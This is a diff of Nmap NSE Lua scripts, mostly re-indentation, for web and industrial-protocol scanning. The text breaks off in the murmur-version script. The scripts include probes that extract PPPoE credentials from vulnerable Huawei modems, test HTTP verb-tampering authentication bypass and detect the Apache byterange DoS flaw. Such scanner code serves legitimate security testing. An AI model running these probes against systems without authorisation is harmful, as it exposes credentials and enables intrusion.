stdnse.print_debug(1, "%s: Couldn't load the file: %s", SCRIPT_NAME, filename) stdnse.print_debug(1, "%s: Couldn't load the file: %s", SCRIPT_NAME, filename)
return return
end end
file() file()
fingerprints = env.tools fingerprints = env.tools
return fingerprints return fingerprints
end end
@@ -92,10 +92,10 @@ action = function(host, port)
end end
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME, local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
maxpagecount = 40, maxpagecount = 40,
maxdepth = -1, maxdepth = -1,
withinhost = 1 withinhost = 1
}) })
if rapid then if rapid then
return "Couldn't determine the underlying framework or CMS. Try turning off 'rapid' mode." return "Couldn't determine the underlying framework or CMS. Try turning off 'rapid' mode."

View File

@@ -49,36 +49,36 @@ categories = {"default", "discovery", "safe"}
-- helper function -- helper function
local follow_redirects = function(host, port, path, n) local follow_redirects = function(host, port, path, n)
local pattern = "^[hH][tT][tT][pP]/1.[01] 30[12]" local pattern = "^[hH][tT][tT][pP]/1.[01] 30[12]"
local response = http.get(host, port, path) local response = http.get(host, port, path)
while (response['status-line'] or ""):match(pattern) and n > 0 do while (response['status-line'] or ""):match(pattern) and n > 0 do
n = n - 1 n = n - 1
local loc = response.header['location'] local loc = response.header['location']
response = http.get_url(loc) response = http.get_url(loc)
end end
return response return response
end end
portrule = shortport.http portrule = shortport.http
action = function(host, port) action = function(host, port)
local response, loc, generator local response, loc, generator
local path = stdnse.get_script_args('http-generator.path') or '/' local path = stdnse.get_script_args('http-generator.path') or '/'
local redirects = tonumber(stdnse.get_script_args('http-generator.redirects')) or 3 local redirects = tonumber(stdnse.get_script_args('http-generator.redirects')) or 3
-- Worst case: <meta name=Generator content="Microsoft Word 11"> -- Worst case: <meta name=Generator content="Microsoft Word 11">
local pattern = '<meta name="?generator"? content="([^\"]*)" ?/?>' local pattern = '<meta name="?generator"? content="([^\"]*)" ?/?>'
-- make pattern case-insensitive -- make pattern case-insensitive
pattern = pattern:gsub("%a", function (c) pattern = pattern:gsub("%a", function (c)
return string.format("[%s%s]", string.lower(c), return string.format("[%s%s]", string.lower(c),
string.upper(c)) string.upper(c))
end) end)
response = follow_redirects(host, port, path, redirects) response = follow_redirects(host, port, path, redirects)
if ( response and response.body ) then if ( response and response.body ) then
return response.body:match(pattern) return response.body:match(pattern)
end end
end end

View File

@@ -65,20 +65,20 @@ portrule = shortport.http
action = function(host, port) action = function(host, port)
local vuln = { local vuln = {
title = 'Remote credential and information disclosure in modems Huawei HG5XX', title = 'Remote credential and information disclosure in modems Huawei HG5XX',
state = vulns.STATE.NOT_VULN, state = vulns.STATE.NOT_VULN,
description = [[ description = [[
Modems Huawei 530x, 520x and possibly others are vulnerable to remote credential and information disclosure. Modems Huawei 530x, 520x and possibly others are vulnerable to remote credential and information disclosure.
Attackers can query the URIs "/Listadeparametros.html" and "/wanfun.js" to extract sensitive information Attackers can query the URIs "/Listadeparametros.html" and "/wanfun.js" to extract sensitive information
including PPPoE credentials, firmware version, model, gateway, dns servers and active connections among other values.]], including PPPoE credentials, firmware version, model, gateway, dns servers and active connections among other values.]],
references = { references = {
'http://routerpwn.com/#huawei', 'http://routerpwn.com/#huawei',
'http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure' 'http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure'
}, },
dates = { dates = {
disclosure = {year = '2011', month = '01', day = '1'}, disclosure = {year = '2011', month = '01', day = '1'},
}, },
} }
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
local _, http_status, _ = http.identify_404(host,port) local _, http_status, _ = http.identify_404(host,port)
@@ -103,8 +103,8 @@ including PPPoE credentials, firmware version, model, gateway, dns servers and a
local _, _, ssid = string.find(open_session.body, 'Nombre de Red Inal\195\161mbrica %(SSID%):</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>') local _, _, ssid = string.find(open_session.body, 'Nombre de Red Inal\195\161mbrica %(SSID%):</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
local _, _, encryption = string.find(open_session.body, 'Encriptaci\195\179n Activada %(0: No, 1:S\195\173%):</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>') local _, _, encryption = string.find(open_session.body, 'Encriptaci\195\179n Activada %(0: No, 1:S\195\173%):</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
local info = string.format("\nModel:%s\nFirmware version:%s\nExternal IP:%s\nGateway IP:%s\nDNS 1:%s\nDNS 2:%s\n".. local info = string.format("\nModel:%s\nFirmware version:%s\nExternal IP:%s\nGateway IP:%s\nDNS 1:%s\nDNS 2:%s\n"..
"Network segment:%s\nActive ethernet connections:%s\nActive wireless connections:%s\nBSSID:%s\nWireless Encryption (Boolean):%s\nPPPoE username:%s\n", "Network segment:%s\nActive ethernet connections:%s\nActive wireless connections:%s\nBSSID:%s\nWireless Encryption (Boolean):%s\nPPPoE username:%s\n",
model, firmware_version, ip, gateway, dns1, dns2, network_segment, active_ethernet, active_wireless, ssid, encryption, pppoe_user) model, firmware_version, ip, gateway, dns1, dns2, network_segment, active_ethernet, active_wireless, ssid, encryption, pppoe_user)
--Checks if the username string was extracted. If its null, the modem is not vulnerable and we should exit. --Checks if the username string was extracted. If its null, the modem is not vulnerable and we should exit.
if pppoe_user then if pppoe_user then
vuln.state = vulns.STATE.EXPLOIT vuln.state = vulns.STATE.EXPLOIT

View File

@@ -85,9 +85,9 @@ local function probe_http_verbs(host, port, uri)
--With a random generated verb we look for 400 and 501 status --With a random generated verb we look for 400 and 501 status
local random_verb_req = http.generic_request(host, port, stdnse.generate_random_string(4), uri) local random_verb_req = http.generic_request(host, port, stdnse.generate_random_string(4), uri)
local retcodes = { local retcodes = {
[400] = true, -- Bad Request [400] = true, -- Bad Request
[401] = true, -- Authentication needed [401] = true, -- Authentication needed
[501] = true, -- Invalid method [501] = true, -- Invalid method
} }
if random_verb_req and not retcodes[random_verb_req.status] then if random_verb_req and not retcodes[random_verb_req.status] then
return true, "GENERIC" return true, "GENERIC"
@@ -103,20 +103,20 @@ action = function(host, port)
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout")) local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
timeout = (timeout or 10) * 1000 timeout = (timeout or 10) * 1000
local vuln = { local vuln = {
title = 'Authentication bypass by HTTP verb tampering', title = 'Authentication bypass by HTTP verb tampering',
state = vulns.STATE.NOT_VULN, state = vulns.STATE.NOT_VULN,
description = [[ description = [[
This web server contains password protected resources vulnerable to authentication bypass This web server contains password protected resources vulnerable to authentication bypass
vulnerabilities via HTTP verb tampering. This is often found in web servers that only limit access to the vulnerabilities via HTTP verb tampering. This is often found in web servers that only limit access to the
common HTTP methods and in misconfigured .htaccess files. common HTTP methods and in misconfigured .htaccess files.
]], ]],
references = { references = {
'http://www.mkit.com.ar/labs/htexploit/', 'http://www.mkit.com.ar/labs/htexploit/',
'http://www.imperva.com/resources/glossary/http_verb_tampering.html', 'http://www.imperva.com/resources/glossary/http_verb_tampering.html',
'https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29', 'https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29',
'http://capec.mitre.org/data/definitions/274.html' 'http://capec.mitre.org/data/definitions/274.html'
} }
} }
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
-- If paths is not set, crawl the web server looking for http 401 status -- If paths is not set, crawl the web server looking for http 401 status
@@ -124,15 +124,15 @@ vulnerabilities via HTTP verb tampering. This is often found in web servers that
local crawler = httpspider.Crawler:new(host, port, uri, { scriptname = SCRIPT_NAME } ) local crawler = httpspider.Crawler:new(host, port, uri, { scriptname = SCRIPT_NAME } )
crawler:set_timeout(timeout) crawler:set_timeout(timeout)
while(true) do while(true) do
local status, r = crawler:crawl() local status, r = crawler:crawl()
if ( not(status) ) then if ( not(status) ) then
if ( r.err ) then if ( r.err ) then
return stdnse.format_output(true, "ERROR: %s", r.reason) return stdnse.format_output(true, "ERROR: %s", r.reason)
else else
break break
end
end end
end
if r.response.status == 401 then if r.response.status == 401 then
stdnse.print_debug(2, "%s:%s is protected! Let's try some verb tampering...", SCRIPT_NAME, tostring(r.url)) stdnse.print_debug(2, "%s:%s is protected! Let's try some verb tampering...", SCRIPT_NAME, tostring(r.url))
local parsed = url.parse(tostring(r.url)) local parsed = url.parse(tostring(r.url))
@@ -144,7 +144,7 @@ vulnerabilities via HTTP verb tampering. This is often found in web servers that
end end
end end
else else
-- Paths were set, check them and exit. No crawling here. -- Paths were set, check them and exit. No crawling here.
-- convert single string entry to table -- convert single string entry to table
if ( type(paths) == "string" ) then if ( type(paths) == "string" ) then
@@ -156,10 +156,10 @@ vulnerabilities via HTTP verb tampering. This is often found in web servers that
if path_req.status == 401 then if path_req.status == 401 then
local probe_status, probe_type = probe_http_verbs(host, port, path) local probe_status, probe_type = probe_http_verbs(host, port, path)
if probe_status then if probe_status then
stdnse.print_debug(1, "%s:Vulnerable URI %s", SCRIPT_NAME, path) stdnse.print_debug(1, "%s:Vulnerable URI %s", SCRIPT_NAME, path)
table.insert(vuln_uris, path..string.format(" [%s]", probe_type)) table.insert(vuln_uris, path..string.format(" [%s]", probe_type))
end end
end end
end end

View File

@@ -34,27 +34,27 @@ local string = require "string"
getLastLoc = function(host, port, useragent) getLastLoc = function(host, port, useragent)
local options local options
options = {header={}, no_cache=true, redirect_ok=function(host,port) options = {header={}, no_cache=true, redirect_ok=function(host,port)
local c = 3 local c = 3
return function(url) return function(url)
if ( c==0 ) then return false end if ( c==0 ) then return false end
c = c - 1 c = c - 1
return true return true
end end
end } end }
options['header']['User-Agent'] = useragent options['header']['User-Agent'] = useragent
local response = http.get(host, port, '/', options) local response = http.get(host, port, '/', options)
if response.location then if response.location then
return response.location[#response.location] or false return response.location[#response.location] or false
end end
return false return false
end end
@@ -62,27 +62,27 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
action = function(host, port) action = function(host, port)
local newtargets = stdnse.get_script_args("newtargets") or nil local newtargets = stdnse.get_script_args("newtargets") or nil
-- We don't crawl any site. We initialize a crawler to use its iswithinhost method. -- We don't crawl any site. We initialize a crawler to use its iswithinhost method.
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } ) local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } )
local loc = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17") local loc = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17")
local mobloc = getLastLoc(host, port, "Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30") local mobloc = getLastLoc(host, port, "Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30")
-- If the mobile browser request is redirected to a different page, that must be the mobile version's page. -- If the mobile browser request is redirected to a different page, that must be the mobile version's page.
if loc ~= mobloc then if loc ~= mobloc then
local msg = "Found mobile version: " .. mobloc local msg = "Found mobile version: " .. mobloc
local mobhost = http.parse_url(mobloc) local mobhost = http.parse_url(mobloc)
if not crawler:iswithinhost(mobhost.host) then if not crawler:iswithinhost(mobhost.host) then
msg = msg .. " (Redirected to a different host)" msg = msg .. " (Redirected to a different host)"
if newtargets then if newtargets then
target.add(mobhost.host) target.add(mobhost.host)
end end
end
return msg
end end
return msg
end
return "No mobile version detected." return "No mobile version detected."
end end

View File

@@ -56,29 +56,29 @@ local string = require "string"
getLastLoc = function(host, port, useragent) getLastLoc = function(host, port, useragent)
local options local options
options = {header={}, no_cache=true, redirect_ok=function(host,port) options = {header={}, no_cache=true, redirect_ok=function(host,port)
local c = 3 local c = 3
return function(url) return function(url)
if ( c==0 ) then return false end if ( c==0 ) then return false end
c = c - 1 c = c - 1
return true return true
end end
end } end }
options['header']['User-Agent'] = useragent options['header']['User-Agent'] = useragent
stdnse.print_debug(2, "Making a request with User-Agent: " .. useragent) stdnse.print_debug(2, "Making a request with User-Agent: " .. useragent)
local response = http.get(host, port, '/', options) local response = http.get(host, port, '/', options)
if response.location then if response.location then
return response.location[#response.location] or false return response.location[#response.location] or false
end end
return false return false
end end
@@ -86,70 +86,70 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
action = function(host, port) action = function(host, port)
local moreagents = stdnse.get_script_args("http-useragent-tester.useragents") or nil local moreagents = stdnse.get_script_args("http-useragent-tester.useragents") or nil
local newtargets = stdnse.get_script_args("newtargets") or nil local newtargets = stdnse.get_script_args("newtargets") or nil
-- We don't crawl any site. We initialize a crawler to use its iswithinhost method. -- We don't crawl any site. We initialize a crawler to use its iswithinhost method.
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } ) local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } )
local HTTPlibs = {"libwww", local HTTPlibs = {"libwww",
"lwp-trivial", "lwp-trivial",
"libcurl-agent/1.0", "libcurl-agent/1.0",
"PHP/", "PHP/",
"Python-urllib/2.5", "Python-urllib/2.5",
"GT::WWW", "GT::WWW",
"Snoopy", "Snoopy",
"MFC_Tear_Sample", "MFC_Tear_Sample",
"HTTP::Lite", "HTTP::Lite",
"PHPCrawl", "PHPCrawl",
"URI::Fetch", "URI::Fetch",
"Zend_Http_Client", "Zend_Http_Client",
"http client", "http client",
"PECL::HTTP", "PECL::HTTP",
"Wget/1.13.4 (linux-gnu)", "Wget/1.13.4 (linux-gnu)",
"WWW-Mechanize/1.34" "WWW-Mechanize/1.34"
} }
if moreagents then if moreagents then
for _, l in ipairs(moreagents) do for _, l in ipairs(moreagents) do
table.insert(HTTPlibs, l) table.insert(HTTPlibs, l)
end
end
-- We perform a normal browser request and get the returned location
local loc = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17")
local allowed, forb = {}, {}
for _, l in ipairs(HTTPlibs) do
local libloc = getLastLoc(host, port, l)
-- If the library's request returned a different location, that means the request was redirected somewhere else, hence is forbidden.
if loc ~= libloc then
local msg = l .. " redirected to: " .. libloc
local libhost = http.parse_url(libloc)
if not crawler:iswithinhost(libhost.host) then
msg = msg .. " (different host)"
if newtargets then
target.add(libhost.host)
end end
end
table.insert(forb, msg)
else
table.insert(allowed, l)
end end
-- We perform a normal browser request and get the returned location end
local loc = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17")
local allowed, forb = {}, {} if next(allowed) ~= nil then
table.insert(allowed, 1, "Allowed User Agents:")
end
for _, l in ipairs(HTTPlibs) do if next(forb) ~= nil then
table.insert(forb, 1, "Forbidden User Agents:")
end
local libloc = getLastLoc(host, port, l) return {allowed, forb}
-- If the library's request returned a different location, that means the request was redirected somewhere else, hence is forbidden.
if loc ~= libloc then
local msg = l .. " redirected to: " .. libloc
local libhost = http.parse_url(libloc)
if not crawler:iswithinhost(libhost.host) then
msg = msg .. " (different host)"
if newtargets then
target.add(libhost.host)
end
end
table.insert(forb, msg)
else
table.insert(allowed, l)
end
end
if next(allowed) ~= nil then
table.insert(allowed, 1, "Allowed User Agents:")
end
if next(forb) ~= nil then
table.insert(forb, 1, "Forbidden User Agents:")
end
return {allowed, forb}
end end

View File

@@ -56,74 +56,74 @@ categories = {"vuln", "safe"}
portrule = shortport.http portrule = shortport.http
action = function(host, port) action = function(host, port)
local vuln = { local vuln = {
title = 'Apache byterange filter DoS', title = 'Apache byterange filter DoS',
state = vulns.STATE.NOT_VULN, -- default state = vulns.STATE.NOT_VULN, -- default
IDS = {CVE = 'CVE-2011-3192', OSVDB = '74721'}, IDS = {CVE = 'CVE-2011-3192', OSVDB = '74721'},
description = [[ description = [[
The Apache web server is vulnerable to a denial of service attack when numerous The Apache web server is vulnerable to a denial of service attack when numerous
overlapping byte ranges are requested.]], overlapping byte ranges are requested.]],
references = { references = {
'http://seclists.org/fulldisclosure/2011/Aug/175', 'http://seclists.org/fulldisclosure/2011/Aug/175',
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192',
'http://nessus.org/plugins/index.php?view=single&id=55976', 'http://nessus.org/plugins/index.php?view=single&id=55976',
}, },
dates = { dates = {
disclosure = {year = '2011', month = '08', day = '19'}, disclosure = {year = '2011', month = '08', day = '19'},
}, },
} }
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local hostname, path = stdnse.get_script_args('http-vuln-cve2011-3192.hostname', local hostname, path = stdnse.get_script_args('http-vuln-cve2011-3192.hostname',
'http-vuln-cve2011-3192.path') 'http-vuln-cve2011-3192.path')
if not path then if not path then
path = '/' path = '/'
stdnse.print_debug(1, "Setting the request path to '/' since 'http-vuln-cve2011-3192.path' argument is missing.") stdnse.print_debug(1, "Setting the request path to '/' since 'http-vuln-cve2011-3192.path' argument is missing.")
end end
-- This first request will try to get a code 206 reply from the server by -- This first request will try to get a code 206 reply from the server by
-- sending the innocuous header "Range: byte=0-100" in order to detect -- sending the innocuous header "Range: byte=0-100" in order to detect
-- whether this functionality is available or not. -- whether this functionality is available or not.
local request_opts = { local request_opts = {
header = { header = {
Range = "bytes=0-100", Range = "bytes=0-100",
Connection = "close" Connection = "close"
}, },
bypass_cache = true bypass_cache = true
} }
if hostname then if hostname then
request_opts.header.Host = hostname request_opts.header.Host = hostname
end end
local response = http.head(host, port, path, request_opts) local response = http.head(host, port, path, request_opts)
if not response.status then
stdnse.print_debug(1, "%s: Functionality check HEAD request failed for %s (with path '%s').",
SCRIPT_NAME, hostname or host.ip, path)
elseif response.status == 206 then
-- The server handle range requests. Now try to request 11 ranges (one more
-- than allowed).
-- Vulnerable servers will reply with another code 206 response. Patched
-- ones will return a code 200.
request_opts.header.Range = "bytes=1-0,0-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"
response = http.head(host, port, path, request_opts)
if not response.status then if not response.status then
stdnse.print_debug(1, "%s: Functionality check HEAD request failed for %s (with path '%s').", stdnse.print_debug(1, "%s: Invalid response from server to the vulnerability check",
SCRIPT_NAME, hostname or host.ip, path) SCRIPT_NAME)
elseif response.status == 206 then elseif response.status == 206 then
-- The server handle range requests. Now try to request 11 ranges (one more vuln.state = vulns.STATE.VULN
-- than allowed).
-- Vulnerable servers will reply with another code 206 response. Patched
-- ones will return a code 200.
request_opts.header.Range = "bytes=1-0,0-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"
response = http.head(host, port, path, request_opts)
if not response.status then
stdnse.print_debug(1, "%s: Invalid response from server to the vulnerability check",
SCRIPT_NAME)
elseif response.status == 206 then
vuln.state = vulns.STATE.VULN
else
stdnse.print_debug(1, "%s: Server isn't vulnerable (%i status code)",
SCRIPT_NAME, response.status)
end
else else
stdnse.print_debug(1, "%s: Server ignores the range header (%i status code)", stdnse.print_debug(1, "%s: Server isn't vulnerable (%i status code)",
SCRIPT_NAME, response.status) SCRIPT_NAME, response.status)
end end
return vuln_report:make_output(vuln) else
stdnse.print_debug(1, "%s: Server ignores the range header (%i status code)",
SCRIPT_NAME, response.status)
end
return vuln_report:make_output(vuln)
end end

View File

@@ -45,46 +45,46 @@ local XSSED_URL = "URL: ([^%s]+)</th>"
action = function(host, port) action = function(host, port)
local fixed, unfixed local fixed, unfixed
local target = XSSED_SEARCH .. host.targetname local target = XSSED_SEARCH .. host.targetname
-- Only one instantiation of the script should ping xssed at once. -- Only one instantiation of the script should ping xssed at once.
local mutex = nmap.mutex("http-xssed") local mutex = nmap.mutex("http-xssed")
mutex "lock" mutex "lock"
local response = http.get(XSSED_SITE, 80, target) local response = http.get(XSSED_SITE, 80, target)
if string.find(response.body, XSSED_FOUND) then if string.find(response.body, XSSED_FOUND) then
fixed = {} fixed = {}
unfixed = {} unfixed = {}
for m in string.gmatch(response.body, XSSED_MIRROR) do for m in string.gmatch(response.body, XSSED_MIRROR) do
local mirror = http.get(XSSED_SITE, 80, m) local mirror = http.get(XSSED_SITE, 80, m)
for v in string.gmatch(mirror.body, XSSED_URL) do for v in string.gmatch(mirror.body, XSSED_URL) do
if string.find(mirror.body, XSSED_FIXED) then if string.find(mirror.body, XSSED_FIXED) then
table.insert(fixed, "\t" .. v .. "\n") table.insert(fixed, "\t" .. v .. "\n")
else else
table.insert(unfixed, "\t" .. v .. "\n") table.insert(unfixed, "\t" .. v .. "\n")
end
end
end end
end
end end
end
mutex "done" mutex "done"
-- Fix the output. -- Fix the output.
if not fixed and not unfixed then if not fixed and not unfixed then
return "No previously reported XSS vuln." return "No previously reported XSS vuln."
end end
if next(unfixed) ~= nil then if next(unfixed) ~= nil then
table.insert(unfixed, 1, "UNFIXED XSS vuln.\n") table.insert(unfixed, 1, "UNFIXED XSS vuln.\n")
end end
if next(fixed) ~= nil then if next(fixed) ~= nil then
table.insert(fixed, 1, "FIXED XSS vuln.\n") table.insert(fixed, 1, "FIXED XSS vuln.\n")
end end
return {unfixed, fixed} return {unfixed, fixed}
end end

View File

@@ -46,125 +46,125 @@ categories = {"discovery", "intrusive"}
portrule = shortport.portnumber(502, "tcp") portrule = shortport.portnumber(502, "tcp")
local form_rsid = function(sid, functionId, data) local form_rsid = function(sid, functionId, data)
local payload_len = 2 local payload_len = 2
if ( #data > 0 ) then if ( #data > 0 ) then
payload_len = payload_len + #data payload_len = payload_len + #data
end end
return bin.pack('CCCCC', 0x00, 0x00, 0x00, 0x00, 0x00) .. bin.pack('C', payload_len) .. bin.pack('C', sid) .. bin.pack('C', functionId) .. data return bin.pack('CCCCC', 0x00, 0x00, 0x00, 0x00, 0x00) .. bin.pack('C', payload_len) .. bin.pack('C', sid) .. bin.pack('C', functionId) .. data
end end
discover_device_id_recursive = function(host, port, sid, start_id) discover_device_id_recursive = function(host, port, sid, start_id)
local rsid = form_rsid(sid, 0x2B, bin.pack('H', "0E 01")..bin.pack('C', start_id)) local rsid = form_rsid(sid, 0x2B, bin.pack('H', "0E 01")..bin.pack('C', start_id))
local status, result = comm.exchange(host, port, rsid) local status, result = comm.exchange(host, port, rsid)
local objects_table = {} local objects_table = {}
if ( status and (#result >= 8)) then if ( status and (#result >= 8)) then
local ret_code = string.byte(result, 8) local ret_code = string.byte(result, 8)
if ( ret_code == 0x2B and #result >= 15 ) then if ( ret_code == 0x2B and #result >= 15 ) then
local more_follows = string.byte(result, 12) local more_follows = string.byte(result, 12)
local next_object_id = string.byte(result, 13) local next_object_id = string.byte(result, 13)
local number_of_objects = string.byte(result, 14) local number_of_objects = string.byte(result, 14)
stdnse.print_debug(1, ("more = 0x%x, next_id = 0x%x, obj_number = 0x%x"):format(more_follows, next_object_id, number_of_objects)) stdnse.print_debug(1, ("more = 0x%x, next_id = 0x%x, obj_number = 0x%x"):format(more_follows, next_object_id, number_of_objects))
local offset = 15 local offset = 15
for i = start_id, (number_of_objects - 1) do for i = start_id, (number_of_objects - 1) do
local object_id = string.byte(result, offset) local object_id = string.byte(result, offset)
local object_len = string.byte(result, offset + 1) local object_len = string.byte(result, offset + 1)
-- error data format -- -- error data format --
if object_len == nil then break end if object_len == nil then break end
local object_value = string.sub(result, offset + 2, offset + 1 + object_len) local object_value = string.sub(result, offset + 2, offset + 1 + object_len)
stdnse.print_debug(1, ("Object id = 0x%x, value = %s"):format(object_id, object_value)) stdnse.print_debug(1, ("Object id = 0x%x, value = %s"):format(object_id, object_value))
table.insert(objects_table, object_id + 1, object_value) table.insert(objects_table, object_id + 1, object_value)
offset = offset + 2 + object_len offset = offset + 2 + object_len
end end
if ( more_follows == 0xFF and next_object_id ~= 0x00 ) then if ( more_follows == 0xFF and next_object_id ~= 0x00 ) then
stdnse.print_debug(1, "Has more objects") stdnse.print_debug(1, "Has more objects")
local recursive_table = discover_device_id_recursive(host, port, sid, next_object_id) local recursive_table = discover_device_id_recursive(host, port, sid, next_object_id)
for k,v in pairs(recursive_table) do for k,v in pairs(recursive_table) do
table.insert(objects_table, k, v) table.insert(objects_table, k, v)
end
end
end end
end
end end
return objects_table end
return objects_table
end end
local discover_device_id = function(host, port, sid) local discover_device_id = function(host, port, sid)
return discover_device_id_recursive(host, port, sid, 0x0) return discover_device_id_recursive(host, port, sid, 0x0)
end end
local form_device_id_string = function(device_table) local form_device_id_string = function(device_table)
local ret_string = "DEVICE IDENTIFICATION: " local ret_string = "DEVICE IDENTIFICATION: "
for i = 1, #device_table do for i = 1, #device_table do
if ( device_table[i] ~= nil ) then if ( device_table[i] ~= nil ) then
ret_string = ret_string..device_table[i] ret_string = ret_string..device_table[i]
if ( i < #device_table ) then ret_string = ret_string.." " end if ( i < #device_table ) then ret_string = ret_string.." " end
end
end end
return ret_string end
return ret_string
end end
local extract_slave_id = function(response) local extract_slave_id = function(response)
local byte_count = string.byte(response, 9) local byte_count = string.byte(response, 9)
if ( byte_count == nil or byte_count == 0) then return nil end if ( byte_count == nil or byte_count == 0) then return nil end
local offset, slave_id = bin.unpack("A"..byte_count, response, 10) local offset, slave_id = bin.unpack("A"..byte_count, response, 10)
return slave_id return slave_id
end end
modbus_exception_codes = { modbus_exception_codes = {
[1] = "ILLEGAL FUNCTION", [1] = "ILLEGAL FUNCTION",
[2] = "ILLEGAL DATA ADDRESS", [2] = "ILLEGAL DATA ADDRESS",
[3] = "ILLEGAL DATA VALUE", [3] = "ILLEGAL DATA VALUE",
[4] = "SLAVE DEVICE FAILURE", [4] = "SLAVE DEVICE FAILURE",
[5] = "ACKNOWLEDGE", [5] = "ACKNOWLEDGE",
[6] = "SLAVE DEVICE BUSY", [6] = "SLAVE DEVICE BUSY",
[8] = "MEMORY PARITY ERROR", [8] = "MEMORY PARITY ERROR",
[10] = "GATEWAY PATH UNAVAILABLE", [10] = "GATEWAY PATH UNAVAILABLE",
[11] = "GATEWAY TARGET DEVICE FAILED TO RESPOND" [11] = "GATEWAY TARGET DEVICE FAILED TO RESPOND"
} }
action = function(host, port) action = function(host, port)
-- If false, stop after first sid. -- If false, stop after first sid.
local aggressive = stdnse.get_script_args('modbus-discover.aggressive') local aggressive = stdnse.get_script_args('modbus-discover.aggressive')
local opts = {timeout=2000} local opts = {timeout=2000}
local results = {} local results = {}
for sid = 1, 246 do for sid = 1, 246 do
stdnse.print_debug(3, "Sending command with sid = %d", sid) stdnse.print_debug(3, "Sending command with sid = %d", sid)
local rsid = form_rsid(sid, 0x11, "") local rsid = form_rsid(sid, 0x11, "")
local status, result = comm.exchange(host, port, rsid, opts) local status, result = comm.exchange(host, port, rsid, opts)
if ( status and (#result >= 8) ) then if ( status and (#result >= 8) ) then
local ret_code = string.byte(result, 8) local ret_code = string.byte(result, 8)
if ( ret_code == (0x11) or ret_code == (0x11 + 128) ) then if ( ret_code == (0x11) or ret_code == (0x11 + 128) ) then
local sid_table = {} local sid_table = {}
if ret_code == (0x11) then if ret_code == (0x11) then
table.insert(results, ("Positive response for sid = 0x%x"):format(sid)) table.insert(results, ("Positive response for sid = 0x%x"):format(sid))
local slave_id = extract_slave_id(result) local slave_id = extract_slave_id(result)
if ( slave_id ~= nil ) then table.insert(sid_table, "SLAVE ID DATA: "..slave_id) end if ( slave_id ~= nil ) then table.insert(sid_table, "SLAVE ID DATA: "..slave_id) end
elseif ret_code == (0x11 + 128) then elseif ret_code == (0x11 + 128) then
local exception_code = string.byte(result, 9) local exception_code = string.byte(result, 9)
local exception_string = modbus_exception_codes[exception_code] local exception_string = modbus_exception_codes[exception_code]
if ( exception_string == nil ) then exception_string = "UNKNOWN EXCEPTION" end if ( exception_string == nil ) then exception_string = "UNKNOWN EXCEPTION" end
table.insert(results, ("Positive error response for sid = 0x%x (%s)"):format(sid, exception_string)) table.insert(results, ("Positive error response for sid = 0x%x (%s)"):format(sid, exception_string))
end
local device_table = discover_device_id(host, port, sid)
if ( #device_table > 0 ) then
table.insert(sid_table, form_device_id_string(device_table))
end
if ( #sid_table > 0 ) then
table.insert(results, sid_table)
end
if ( not aggressive ) then break end
end
end end
end
if ( #results > 0 ) then local device_table = discover_device_id(host, port, sid)
port.state = "open" if ( #device_table > 0 ) then
port.version.name = "modbus" table.insert(sid_table, form_device_id_string(device_table))
nmap.set_port_version(host, port) end
if ( #sid_table > 0 ) then
table.insert(results, sid_table)
end
if ( not aggressive ) then break end
end
end end
end
return stdnse.format_output(true, results) if ( #results > 0 ) then
port.state = "open"
port.version.name = "modbus"
nmap.set_port_version(host, port)
end
return stdnse.format_output(true, results)
end end

View File

@@ -43,60 +43,60 @@ categories = { "version" }
portrule = shortport.version_port_or_service({64738}, "murmur", {"tcp", "udp"}) portrule = shortport.version_port_or_service({64738}, "murmur", {"tcp", "udp"})
action = function(host, port) action = function(host, port)
local mutex = nmap.mutex("murmur-version:" .. host.ip .. ":" .. port.number) local mutex = nmap.mutex("murmur-version:" .. host.ip .. ":" .. port.number)
mutex("lock") mutex("lock")
if host.registry["murmur-version"] == nil then if host.registry["murmur-version"] == nil then
